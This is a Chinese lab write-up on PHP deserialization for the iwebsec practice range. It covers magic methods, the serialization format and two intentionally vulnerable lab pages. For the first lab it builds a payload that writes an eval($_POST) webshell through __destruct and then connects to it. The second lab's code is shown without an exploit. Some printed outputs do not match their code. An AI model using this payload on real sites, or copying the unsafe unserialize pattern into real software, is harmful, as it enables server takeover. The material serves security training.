iwebsec靶场(PHP反序列化)
一、PHP Magic 方法
-
PHP类中一般会包含一些特殊的函数叫做magic函数,这些函数以双斜划线开始,他们的主要作用是在某些情况下。自动调用,以保证程序的健壮性,但也是由于这些方法的自动调用,使得程序在一些情况下存在漏洞
1.__construct():类的构造函数 2.__destruct():类的析构函数 3.__call():在对象中调用一个不可访问方法时调用 4.__callStatic():用静态方式中调用一个不可访问方法时调用 5.__get():获得一个类的成员变量时调用 6.__set():设置一个类的成员变量时调用 7.__isset():当对不可访问属性调用isset()或empty()时调用 8.__unset():当对不可访问属性调用unset()时被调用。 9.__sleep():执行serialize()时:先会调用这个函数 10.__wakeup():执行unserialize()时:先会调用这个函数 11.__toString():类被当成字符串时的回应方法 12.__invoke():调用函数的方式调用一个对象时的回应方法 13.__set_state():调用var_export()导出类时:此静态方法会被调用。 14.__clone():当对象复制完成时调用 15.__autoload():尝试加载未定义的类 16.__debugInfo():打印所需调试信息
二、序列化
-
php序列化的函数为serialize(),就是把一个类的实例变成一个字符串;序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。
-
举个例子
<?php class hack{ public $name = "glc"; protected $sex = "man"; private $age = "18"; } $a = new hack; echo serialize($a); ?>
输出结果
O:4:"hack":3:{s:4:"name";s:3:"glc";s:6:" * sex";s:3:"man";s:9:" hack age";s:2:"18";} O:表示对象(object) 4:对象名称的长度 hack:对象名称 3:表示对象里属性的个数 s:属性名类型 4:属性名长度 name:属性的名称 s:属性值的类型 3:属性值的长度 glc:属性值 s:属性名类型 6:属性名长度 *sex:属性的名称 s:属性值的类型 3:属性值的长度 man:属性值 s:属性名类型 9:属性名长度 hack age:属性的名称 s:属性值的类型 2:属性值的长度 18:属性值 public(公有):属性被序列化的时候属性名还是原来的属性名,没有任何改变 protected(受保护):属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变 private(私有):属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变 注:这里的%00也就是表示空字符,在url中用%00表示,在hex中表示\x00 Tip:%00和\x00也就是我们常说的00截断
-
在序列化对象时,如果对象存在有
__sleep
魔术方法,那么,在序列化对象时__sleep
魔术方法会优先调用,然后再继续执行序列化操作<?php class peak{ public $name = "1stPeak"; public $sex = "man"; public $age = "18"; public function __sleep(){ return array('age'); } } $a = new peak; echo serialize($a); ?>
输出结果
O:4:"hack":1:{s:9:" hack age";s:2:"18";} 只要序列化时执行了__sleep,就只会序列化__sleep中的属性
三、反序列化
-
php反序列化的函数为unserialize(),用于将单一的已序列化的变量转换回 PHP 的值
-
举个例子
<?php $object = 'O:4:"hack":3:{s:4:"name";s:3:"glc";s:6:" * sex";s:3:"man";s:9:" hack age";s:2:"18";}'; $glc = unserialize($object); print_r($glc); ?>
输出结果
__PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => hack [name] => glc [ * sex] => man [ hack age] => 18 )
-
当使用 unserialize()反序列化一个对象成功后,会自动调用该对象的
__wakup()
魔术方法
四、靶场地址:http://iwebsec.com/
五、反序列化漏洞示例01
1.代码分析
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?re=hello </p>
</div>
<body>
<?php
highlight_file(__FILE__); #对文件进行语法高亮显示
class a { #创建一个名为a的类
var $test = 'hello'; #定义一个变量并赋值
function __destruct(){ #在类的一个对象被删除时自动调用
#fopen() 函数打开文件;写入方式打开
$fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
#fputs() 函数写入文件;把test的内容写入文件$fp处
fputs($fp,$this->test);
#fclose() 函数关闭一个打开文件
fclose($fp);
}
}
#stripslashes() 函数删除由 addslashes() 函数添加的反斜杠
#通过GET方式将re的值赋给变量class
$class = stripslashes($_GET['re']);
#将class进行反序列化
$class_unser = unserialize($class);
require '/var/www/html/vuln/unserialize/01/hello.php';
require_once '../../footer.php';
?>
2.修改文件
-
我们进入docker发现并不存在
/var/www/html/vuln/unserialize/01/hello.php
这个文件,所以想要反序列化成功,必修将文件的路径修改为/var/www/html/unserialize/01/hello.php
-
查看运行的docker容器
docker ps
docker exec -it containerid /bin/bash
vim /var/www/html/unserialize/01/index.php
将下图中的位置改为/var/www/html/unserialize/01/hello.php
3.构造payload
-
生成序列化后的payload
<?php class a{ var $test = '<?php @eval($_POST[glc])?>'; } $b = new a; echo serialize($b); ?>
-
输出结果
O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[cmd])?>";}
-
在url中通过re传参
/unserialize/01/index.php?re=O:1:"a":1:{s:4:"test";s:26:"<?php%20@eval($_POST[cmd])?>";}
4.利用
-
访问:http://192.168.153.130/unserialize/01/hello.php
-
连接shell
六、反序列化漏洞示例02
1.代码分析
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?data=hello </p>
</div>
<body>
<?php
include "config.php"; #在服务器执行它之前,可以将PHP文件的内容插入另一个PHP文件,只生成警告,并且脚本会继续
class WEB{ #创建一个WEB类
#定义私有对象
private $method;
private $args;
private $conn;
#对象创建完成后自动调用
public function __construct($method, $args) {
#赋值
$this->method = $method;
$this->args = $args;
#执行__conn方法
$this->__conn();
}
#定义show方法
function show() {
#list() 函数用于在一次操作中给一组变量赋值
#func_get_args()函数获得参数列表
#给列表的username赋值为参数列表
list($username) = func_get_args();
#sprintf把百分号(%)符号替换成一个作为参数进行传递的变量,%s是字符串形式
#将$username转为字符串形式,插入到下面的sql语句
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
#将__query中的sql赋值给obj
$obj = $this->__query($sql);
if ( $obj != false ) {
#将obj中的username和role的值转为字符串形式,当作参数,传递给__die方法并执行该方法
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("error!");
}
}
#定义login方法
function login() {
#定义一个全局变量
global $FLAG;
#给列表的username,password赋值为参数列表
list($username, $password) = func_get_args();
#strtolower把所有字符转换为小写
#trim移除字符串两侧的字符
#mysql_escape_string将特殊字符转义
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
#将username和password的值转为字符串形式,插入到sql语句,并赋值给sql
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
#stripos返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
#定义__conn方法
function __conn() {
#定义全局变量
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
#
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new WEB("source", array());
}
require_once '../../footer.php';